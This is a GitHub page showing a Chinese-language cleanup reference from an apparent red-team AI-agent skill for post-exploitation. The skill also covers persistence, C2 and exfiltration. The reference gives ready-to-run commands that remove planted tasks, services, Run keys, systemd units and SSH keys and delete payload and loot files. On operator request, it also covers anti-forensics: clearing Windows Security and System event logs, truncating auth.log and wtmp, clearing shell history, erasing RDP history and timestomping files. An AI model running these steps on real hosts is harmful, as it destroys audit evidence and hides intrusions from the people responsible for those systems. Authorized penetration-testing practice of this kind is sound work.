Skip to content

pale-knight/redteam-skill / skills/post

OS post-exploitation after a stable host foothold: quiet host recon, host-native persistence (Windows Run/tasks/services/COM/WMI and Linux SSH/cron/systemd/SUID), long-term C2 (Sliver primary, Mythic/Havoc optional), targeted collection and exfil, and engagement cleanup. Does not own AD/cloud/K8s native persistence, Ligolo pivoting, LSASS dumping, or EDR bypass. Operator selects objectives; success is a live callback, verified persistence, delivered loot, or restored host — not generating an unused implant.

references/cleanup.md

View on GitHub
# 收工与痕迹

> **TECH:** 撤掉本场投放物  
> **成功:** persist 对象查询不到、payload 不在、暂存 loot 已删  
> **默认不做:** `wevtutil cl Security`、清空 `auth.log`(这本身是最响告警)

每条持久化的精确删除命令以 `persistence-*.md` 的 RESTORE 为准。本文件给顺序。

---

## 顺序

```text
1. C2:把 sleep 拉长或 kill beacon;操作机停对目标的 listener 暴露
2. 持久化 RESTORE(任务/服务/Run/WMI/key/cron/systemd)
3. 删 payload、dll、shellcode 文件
4. 删暂存 loot.zip / collect/
5. 可选:只删本场相关日志条目(操作者确认)
6. 默认跳过整卷清日志
```

---

## 投放物

```cmd
schtasks /delete /tn "<LookLikeTask>" /f
sc stop <SvcName> & sc delete <SvcName>
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v <Name> /f
del /f /q C:\Windows\Temp\payload.exe C:\Users\Public\loot.zip
```

```bash
systemctl disable --now sync-time.service
rm -f /etc/systemd/system/sync-time.service
systemctl daemon-reload
crontab -l   # 编辑删行
sed -i '/ssh-ed25519 AAAA/d' ~/.ssh/authorized_keys
rm -f /usr/local/bin/update /tmp/loot.zip
```

WMI:用 persistence-windows.md 的三段 Remove-WmiObject。

验证:query 失败/不存在、`ps` 无 implant、authorized_keys 无操作者公钥。

---

## 日志(非默认)

操作者 **明确要求** 再做。优先按时间/Event ID/用户删本场条目,不要整卷。

Windows 整卷(IMPACT:Security 突然空):

```cmd
wevtutil cl Security
wevtutil cl System
wevtutil cl "Windows PowerShell"
```

Linux 整卷(同样响):

```bash
: > /var/log/auth.log
: > /var/log/wtmp
history -c; unset HISTFILE
```

RDP 记录:

```cmd
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /va /f
```

时间戳:

```cmd
powershell (Get-Item file.exe).LastWriteTime = '2024-01-01 12:00:00'
```

```bash
touch -t 202401011200 file
```

改之前记下原时间,授权报告要能对上。

---

## notes 收工段

```text
removed: task/svc/key/files
left behind: (必须诚实写没删掉的)
logs: untouched | selective | wiped (IMPACT)
C2: beacon killed / listener still up for others
```
writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deploymentStars: 322kUpdated Claude CodeCodexVerifiedInstall
xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved.Stars: 198kUpdated Claude CodeCodexVerifiedInstall
shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy.Stars: 119kUpdated Claude CodeCodexVerifiedInstall
childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release.Stars: 118kUpdated Claude CodeCodexVerifiedInstall